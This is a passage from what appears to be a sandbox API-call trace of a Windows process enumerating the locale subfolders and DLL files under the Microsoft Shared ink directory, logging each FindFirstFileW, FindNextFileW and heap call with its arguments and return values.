ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0071.584] GetProcessHeap () returned 0x550000 [0071.584] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.584] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ko-KR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0071.585] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0071.586] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0071.586] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4e1cef6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe507e4c6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe507e4c6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0071.586] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0071.586] GetProcessHeap () returned 0x550000 [0071.586] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0071.586] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0071.587] GetProcessHeap () returned 0x550000 [0071.587] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26b50b8 [0071.587] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lt-LT\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.397] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.397] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.398] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe608f802, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe627e9bb, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe62a4b18, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.398] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.398] GetProcessHeap () returned 0x550000 [0072.398] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26b50b8 | out: hHeap=0x550000) returned 1 [0072.779] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0072.779] GetProcessHeap () returned 0x550000 [0072.779] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.779] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\lv-LV\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.780] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.780] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe721d8e0, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe7432bf6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe7458d53, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.780] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.780] GetProcessHeap () returned 0x550000 [0072.781] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69e22d6e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x69e22d6e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x3188e7b0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x1a0200, dwReserved0=0x0, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x472c5956, ftCreationTime.dwHighDateTime=0x1ca040e, ftLastAccessTime.dwLowDateTime=0xa4945a00, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x9fcc4285, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x7c000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0072.781] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa12394d3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa12394d3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa125f634, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x179c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5ad46e47, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x5ad46e47, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x344e2230, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x609c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66c00201, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x66c00201, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x34eb4c90, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0xc200, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0072.782] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x901e133e, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x901e133e, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x353c2bb0, ftLastWriteTime.dwHighDateTime=0x1ca0424, nFileSizeHigh=0x0, nFileSizeLow=0x105a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0072.783] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0072.783] GetProcessHeap () returned 0x550000 [0072.783] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.783] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nb-NO\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.783] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xead074bc, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xeaef6675, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xeaef6675, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.784] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.784] GetProcessHeap () returned 0x550000 [0072.784] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.784] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0072.784] GetProcessHeap () returned 0x550000 [0072.785] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\nl-NL\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.785] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4fe5f52, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe52213c5, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5247522, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.785] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.786] GetProcessHeap () returned 0x550000 [0072.786] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0072.786] GetProcessHeap () returned 0x550000 [0072.786] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.786] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pl-PL\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.786] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.786] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.787] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe42361e6, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe44977b6, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe44977b6, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.787] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.787] GetProcessHeap () returned 0x550000 [0072.787] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.787] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0072.787] GetProcessHeap () returned 0x550000 [0072.788] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\pt-BR\\*", lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x26842b0 [0072.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0072.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0072.788] FindNextFileW (in: hFindFile=0x26842b0, lpFindFileData=0x27fedc8 | out: lpFindFileData=0x27fedc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe59917ef, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe5b809a8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe5b809a8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 0 [0072.789] FindClose (in: hFindFile=0x26842b0 | out: hFindFile=0x26842b0) returned 1 [0072.789] GetProcessHeap () returned 0x550000 [0072.789] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26a90b0 | out: hHeap=0x550000) returned 1 [0072.789] FindNextFileW (in: hFindFile=0x26841b0, lpFindFileData=0x27ff050 | out: lpFindFileData=0x27ff050*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd812c74, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0072.789] GetProcessHeap () returned 0x550000 [0072.789] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26a90b0 [0072.789] FindFirstFileW (in: 